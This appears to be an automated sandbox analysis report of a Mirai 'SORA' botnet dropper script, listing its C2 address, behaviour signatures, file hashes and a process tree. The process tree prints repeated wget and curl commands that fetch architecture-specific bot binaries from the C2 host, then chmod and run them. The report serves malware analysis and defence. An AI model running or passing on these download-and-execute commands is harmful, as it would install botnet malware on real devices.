Analysis

  • max time kernel
    110s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23/10/2026, 15:28

General

  • Target
    ohshit.sh
  • Size 2KB
  • Sample261023-swt6pact7x
  • SHA256 dd62b3d7e8ca943506b5be1ae35de46b74900c25af41a19117163f25a9a744f2
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • 176.65.139.217

Extracted

Family
  • mirai

Botnet
  • SORA

C2
  • 176.65.139.217

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai Renesas payload 1 IoCs
  • Contacts a large (135815) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 45 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:715
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:721
    • /usr/bin/wget
      wget http://176.65.139.217/bins/sora.arc
      2⤵
        PID:724
      • /usr/bin/curl
        curl -O http://176.65.139.217/bins/sora.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:741
      • /bin/cat
        cat sora.arc
        2⤵
          PID:743
        • /bin/chmod
          chmod +x bitch busybox ohshit.sh sora.arc systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/bitch
          ./bitch
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://176.65.139.217/bins/sora.x86
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://176.65.139.217/bins/sora.x86
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:747
          • /bin/cat
            cat sora.x86
            2⤵
              PID:766
            • /bin/chmod
              chmod +x bitch busybox ohshit.sh sora.arc sora.x86 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn
              2⤵
              • File and Directory Permissions Modification
              PID:767
            • /tmp/bitch
              ./bitch
              2⤵
                PID:768
              • /usr/bin/wget
                wget http://176.65.139.217/bins/sora.x86_64
                2⤵
                • Writes file to tmp directory
                PID:771
              • /usr/bin/curl
                curl -O http://176.65.139.217/bins/sora.x86_64
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:781
              • /bin/cat
                cat sora.x86_64
                2⤵
                  PID:799
                • /bin/chmod
                  chmod +x bitch busybox ohshit.sh sora.arc sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn
                  2⤵
                  • File and Directory Permissions Modification
                  PID:800
                • /tmp/bitch
                  ./bitch
                  2⤵
                    PID:801
                  • /usr/bin/wget
                    wget http://176.65.139.217/bins/sora.i586
                    2⤵
                      PID:803
                    • /usr/bin/curl
                      curl -O http://176.65.139.217/bins/sora.i586
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:804
                    • /bin/cat
                      cat sora.i586
                      2⤵
                        PID:805
                      • /bin/chmod
                        chmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn
                        2⤵
                        • File and Directory Permissions Modification
                        PID:806
                      • /tmp/bitch
                        ./bitch
                        2⤵
                          PID:807
                        • /usr/bin/wget
                          wget http://176.65.139.217/bins/sora.mips
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:808
                        • /usr/bin/curl
                          curl -O http://176.65.139.217/bins/sora.mips
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:809
                        • /bin/cat
                          cat sora.mips
                          2⤵
                          • System Network Configuration Discovery
                          PID:837
                        • /bin/chmod
                          chmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.mips sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn
                          2⤵
                          • File and Directory Permissions Modification
                          PID:838
                        • /tmp/bitch
                          ./bitch
                          2⤵
                            PID:840
                          • /usr/bin/wget
                            wget http://176.65.139.217/bins/sora.mips64
                            2⤵
                            • System Network Configuration Discovery
                            PID:842
                          • /usr/bin/curl
                            curl -O http://176.65.139.217/bins/sora.mips64
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:845
                          • /bin/cat
                            cat sora.mips64
                            2⤵
                            • System Network Configuration Discovery
                            PID:846
                          • /bin/chmod
                            chmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.mips sora.mips64 sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn
                            2⤵
                            • File and Directory Permissions Modification
                            PID:847
                          • /tmp/bitch
                            ./bitch
                            2⤵
                              PID:848
                            • /usr/bin/wget
                              wget http://176.65.139.217/bins/sora.mpsl
                              2⤵
                              • Writes file to tmp directory
                              PID:849
                            • /usr/bin/curl
                              curl -O http://176.65.139.217/bins/sora.mpsl
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:850
                            • /bin/cat
                              cat sora.mpsl
                              2⤵
                                PID:851
                              • /bin/chmod
                                chmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn
                                2⤵
                                • File and Directory Permissions Modification
                                PID:852
                              • /tmp/bitch
                                ./bitch
                                2⤵
                                • Modifies Watchdog functionality
                                • Enumerates active TCP sockets
                                • Changes its process name
                                • Reads system network configuration
                                • Reads runtime system information
                                PID:853
                              • /usr/bin/wget
                                wget http://176.65.139.217/bins/sora.arm
                                2⤵
                                • Writes file to tmp directory
                                PID:857
                              • /usr/bin/curl
                                curl -O http://176.65.139.217/bins/sora.arm
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:861
                              • /bin/cat
                                cat sora.arm
                                2⤵
                                  PID:862
                                • /bin/chmod
                                  chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:863
                                • /tmp/bitch
                                  ./bitch
                                  2⤵
                                    PID:864
                                  • /usr/bin/wget
                                    wget http://176.65.139.217/bins/sora.arm5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:866
                                  • /usr/bin/curl
                                    curl -O http://176.65.139.217/bins/sora.arm5
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:867
                                  • /bin/cat
                                    cat sora.arm5
                                    2⤵
                                      PID:868
                                    • /bin/chmod
                                      chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:869
                                    • /tmp/bitch
                                      ./bitch
                                      2⤵
                                        PID:870
                                      • /usr/bin/wget
                                        wget http://176.65.139.217/bins/sora.arm6
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:872
                                      • /usr/bin/curl
                                        curl -O http://176.65.139.217/bins/sora.arm6
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:878
                                      • /bin/cat
                                        cat sora.arm6
                                        2⤵
                                          PID:882
                                        • /bin/chmod
                                          chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:883
                                        • /tmp/bitch
                                          ./bitch
                                          2⤵
                                            PID:884
                                          • /usr/bin/wget
                                            wget http://176.65.139.217/bins/sora.arm7
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:886
                                          • /usr/bin/curl
                                            curl -O http://176.65.139.217/bins/sora.arm7
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:887
                                          • /bin/cat
                                            cat sora.arm7
                                            2⤵
                                              PID:888
                                            • /bin/chmod
                                              chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:889
                                            • /tmp/bitch
                                              ./bitch
                                              2⤵
                                                PID:890
                                              • /usr/bin/wget
                                                wget http://176.65.139.217/bins/sora.ppc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:892
                                              • /usr/bin/curl
                                                curl -O http://176.65.139.217/bins/sora.ppc
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:893
                                              • /bin/cat
                                                cat sora.ppc
                                                2⤵
                                                  PID:894
                                                • /bin/chmod
                                                  chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.mips sora.mips64 sora.mpsl sora.ppc sora.x86 sora.x86_64
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:895
                                                • /tmp/bitch
                                                  ./bitch
                                                  2⤵
                                                    PID:896
                                                  • /usr/bin/wget
                                                    wget http://176.65.139.217/bins/sora.sparc
                                                    2⤵
                                                      PID:898
                                                    • /usr/bin/curl
                                                      curl -O http://176.65.139.217/bins/sora.sparc
                                                      2⤵
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:899
                                                    • /bin/cat
                                                      cat sora.sparc
                                                      2⤵
                                                        PID:900
                                                      • /bin/chmod
                                                        chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.mips sora.mips64 sora.mpsl sora.ppc sora.sparc sora.x86 sora.x86_64
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:901
                                                      • /tmp/bitch
                                                        ./bitch
                                                        2⤵
                                                          PID:902
                                                        • /usr/bin/wget
                                                          wget http://176.65.139.217/bins/sora.m68k
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:903
                                                        • /usr/bin/curl
                                                          curl -O http://176.65.139.217/bins/sora.m68k
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:904
                                                        • /bin/cat
                                                          cat sora.m68k
                                                          2⤵
                                                            PID:905
                                                          • /bin/chmod
                                                            chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.m68k sora.mips sora.mips64 sora.mpsl sora.ppc sora.sparc sora.x86 sora.x86_64
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:906
                                                          • /tmp/bitch
                                                            ./bitch
                                                            2⤵
                                                              PID:907
                                                            • /usr/bin/wget
                                                              wget http://176.65.139.217/bins/sora.sh4
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:909
                                                            • /usr/bin/curl
                                                              curl -O http://176.65.139.217/bins/sora.sh4
                                                              2⤵
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:910
                                                            • /bin/cat
                                                              cat sora.sh4
                                                              2⤵
                                                                PID:911
                                                              • /bin/chmod
                                                                chmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.m68k sora.mips sora.mips64 sora.mpsl sora.ppc sora.sh4 sora.sparc sora.x86 sora.x86_64
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:912
                                                              • /tmp/bitch
                                                                ./bitch
                                                                2⤵
                                                                  PID:913

                                                              Network

                                                                    MITRE ATT&CK Enterprise v16

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    bitch

                                                                    • Path /tmp/bitch
                                                                    • Size 27KB
                                                                    • SHA256 363d7f945d3ffc0ec2d67154b0a552f322ea562a608924a98cf5c44388cc8dc3
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                    bitch

                                                                    • Path /tmp/bitch
                                                                    • Size 28KB
                                                                    • SHA256 73ab4a2ffece356b303b7248f78c62fddf80300cdeb7e219cd178e0f09fbb920
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                    bitch

                                                                    • Path /tmp/bitch
                                                                    • Size 63KB
                                                                    • SHA256 7faed14973fbaf7ccc83f843000473be08001c86f752bd354171bc490f96fc2d
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                    busybox

                                                                    • Path /tmp/busybox
                                                                    • Size 857KB
                                                                    • SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                    sora.arc

                                                                    • Path /tmp/sora.arc
                                                                    • Size 276B
                                                                    • SHA256 23808ec600857d5cbc4059a5b058a5ee7d928aaa2833ba2aa28c84d94f4c4669
                                                                    • MD5 SHA1 SHA512 TLSH